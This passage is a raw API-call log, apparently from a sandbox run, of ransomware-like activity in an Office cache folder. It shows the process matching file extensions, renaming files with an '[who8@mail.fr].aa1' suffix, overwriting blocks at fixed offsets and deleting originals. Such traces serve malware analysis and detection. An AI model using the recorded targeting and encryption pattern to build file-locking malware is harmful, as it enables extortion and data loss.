returned 5 [0219.818] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0219.818] lstrlenW (lpString=".ppt") returned 4 [0219.818] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0219.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.818] lstrlenW (lpString=".zip") returned 4 [0219.818] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0219.818] lstrlenW (lpString=".rar") returned 4 [0219.818] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0219.818] lstrlenW (lpString=".bz2") returned 4 [0219.818] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0219.818] lstrlenW (lpString=".7z") returned 3 [0219.818] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0219.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.818] lstrlenW (lpString=".dbf") returned 4 [0219.818] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0219.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.818] lstrlenW (lpString=".1cd") returned 4 [0219.818] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0219.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.818] lstrlenW (lpString=".jpg") returned 4 [0219.818] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0219.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.819] lstrlenW (lpString=".doc") returned 4 [0219.819] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0219.819] lstrlenW (lpString=".docx") returned 5 [0219.819] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0219.819] lstrlenW (lpString=".pdf") returned 4 [0219.819] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0219.819] lstrlenW (lpString=".xls") returned 4 [0219.819] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0219.819] lstrlenW (lpString=".xlsx") returned 5 [0219.819] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0219.819] lstrlenW (lpString=".ppt") returned 4 [0219.819] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0219.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.819] lstrlenW (lpString=".zip") returned 4 [0219.819] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0219.819] lstrlenW (lpString=".rar") returned 4 [0219.819] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0219.819] lstrlenW (lpString=".bz2") returned 4 [0219.819] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0219.819] lstrlenW (lpString=".7z") returned 3 [0219.819] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0219.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.819] lstrlenW (lpString=".dbf") returned 4 [0219.819] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0219.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.819] lstrlenW (lpString=".1cd") returned 4 [0219.819] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0219.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0219.819] lstrlenW (lpString=".jpg") returned 4 [0219.819] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0219.820] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0219.820] lstrlenW (lpString="Office32WW.msi") returned 14 [0219.820] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.820] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=1992192) returned 1 [0219.820] CloseHandle (hObject=0x164) returned 1 [0219.820] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0219.820] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0219.820] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0219.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.821] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0219.821] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0219.821] ReadFile (in: hFile=0x164, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.578] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0220.578] ReadFile (in: hFile=0x164, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.679] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0220.679] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0220.679] ReadFile (in: hFile=0x164, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.725] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.725] WriteFile (in: hFile=0x164, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0221.003] SetEndOfFile (hFile=0x164) returned 1 [0221.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0221.007] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.007] WriteFile (in: hFile=0x164, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.010] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.010] WriteFile (in: hFile=0x164, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.129] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.129] WriteFile (in: hFile=0x164, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0221.155] CloseHandle (hObject=0x164) returned 1 [0221.155] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.155] lstrlenW (lpString=".doc") returned 4 [0221.155] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0221.155] lstrlenW (lpString=".docx") returned 5 [0221.156] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0221.156] lstrlenW (lpString=".pdf") returned 4 [0221.156] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0221.156] lstrlenW (lpString=".xls") returned 4 [0221.156] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0221.156] lstrlenW (lpString=".xlsx") returned 5 [0221.156] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0221.156] lstrlenW (lpString=".ppt") returned 4 [0221.156] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0221.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.156] lstrlenW (lpString=".zip") returned 4 [0221.156] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0221.156] lstrlenW (lpString=".rar") returned 4 [0221.156] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0221.156] lstrlenW (lpString=".bz2") returned 4 [0221.156] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0221.156] lstrlenW (lpString=".7z") returned 3 [0221.156] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0221.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.156] lstrlenW (lpString=".dbf") returned 4 [0221.156] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0221.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.156] lstrlenW (lpString=".1cd") returned 4 [0221.156] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0221.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.156] lstrlenW (lpString=".jpg") returned 4 [0221.156] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0221.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.156] lstrlenW (lpString=".doc") returned 4 [0221.156] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0221.156] lstrlenW (lpString=".docx") returned 5 [0221.157] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0221.157] lstrlenW (lpString=".pdf") returned 4 [0221.157] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0221.157] lstrlenW (lpString=".xls") returned 4 [0221.157] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0221.157] lstrlenW (lpString=".xlsx") returned 5 [0221.157] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0221.157] lstrlenW (lpString=".ppt") returned 4 [0221.157] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0221.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.157] lstrlenW (lpString=".zip") returned 4 [0221.157] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0221.157] lstrlenW (lpString=".rar") returned 4 [0221.157] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0221.157] lstrlenW (lpString=".bz2") returned 4 [0221.157] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0221.157] lstrlenW (lpString=".7z") returned 3 [0221.157] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0221.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.157] lstrlenW (lpString=".dbf") returned 4 [0221.157] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0221.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.157] lstrlenW (lpString=".1cd") returned 4 [0221.157] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0221.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0221.157] lstrlenW (lpString=".jpg") returned 4 [0221.157] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0221.157] lstrcmpiW (lpString1=".xrm-ms", lpString2=".aa1") returned 1 [0221.157] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0221.158] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0221.158] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=715834) returned 1 [0221.158] CloseHandle (hObject=0x164) returned 1 [0221.158] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0221.158] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.158] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0221.158] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.158] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.158] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0221.159] GetLastError () returned 0x0 [0221.159] ReadFile (in: hFile=0x164, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0221.290] WriteFile (in: hFile=0x1b0, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0221.307] ReadFile (in: hFile=0x164, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.307] WriteFile (in: hFile=0x1b0, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0x104, lpOverlapped=0x0) returned 1 [0221.307] SetEndOfFile (hFile=0x1b0) returned 1 [0221.307] CloseHandle (hObject=0x1b0) returned 1 [0221.308] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.308] SetEndOfFile (hFile=0x164) returned 1 [0221.313] CloseHandle (hObject=0x164) returned 1 [0221.313] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.313] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0221.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.314] lstrlenW (lpString=".doc") returned 4 [0221.314] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0221.314] lstrlenW (lpString=".docx") returned 5 [0221.314] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0221.314] lstrlenW (lpString=".pdf") returned 4 [0221.314] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0221.314] lstrlenW (lpString=".xls") returned 4 [0221.314] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0221.314] lstrlenW (lpString=".xlsx") returned 5 [0221.314] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0221.314] lstrlenW (lpString=".ppt") returned 4 [0221.314] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0221.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.314] lstrlenW (lpString=".zip") returned 4 [0221.314] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0221.314] lstrlenW (lpString=".rar") returned 4 [0221.314] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0221.314] lstrlenW (lpString=".bz2") returned 4 [0221.314] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0221.314] lstrlenW (lpString=".7z") returned 3 [0221.314] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0221.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.315] lstrlenW (lpString=".dbf") returned 4 [0221.315] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.315] lstrlenW (lpString=".1cd") returned 4 [0221.315] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.315] lstrlenW (lpString=".jpg") returned 4 [0221.315] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.315] lstrlenW (lpString=".doc") returned 4 [0221.315] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString=".docx") returned 5 [0221.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0221.315] lstrlenW (lpString=".pdf") returned 4 [0221.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString=".xls") returned 4 [0221.315] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString=".xlsx") returned 5 [0221.315] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0221.315] lstrlenW (lpString=".ppt") returned 4 [0221.315] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.315] lstrlenW (lpString=".zip") returned 4 [0221.315] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString=".rar") returned 4 [0221.315] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString=".bz2") returned 4 [0221.315] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0221.315] lstrlenW (lpString=".7z") returned 3 [0221.315] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0221.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.316] lstrlenW (lpString=".dbf") returned 4 [0221.316] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0221.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.316] lstrlenW (lpString=".1cd") returned 4 [0221.316] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0221.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0221.316] lstrlenW (lpString=".jpg") returned 4 [0221.316] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0221.316] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0221.316] lstrlenW (lpString="ProPrWW.cab") returned 11 [0221.316] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0221.624] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=177720283) returned 1 [0221.624] CloseHandle (hObject=0x228) returned 1 [0221.624] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0221.624] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.624] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0221.625] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0221.625] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0221.625] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.625] ReadFile (in: 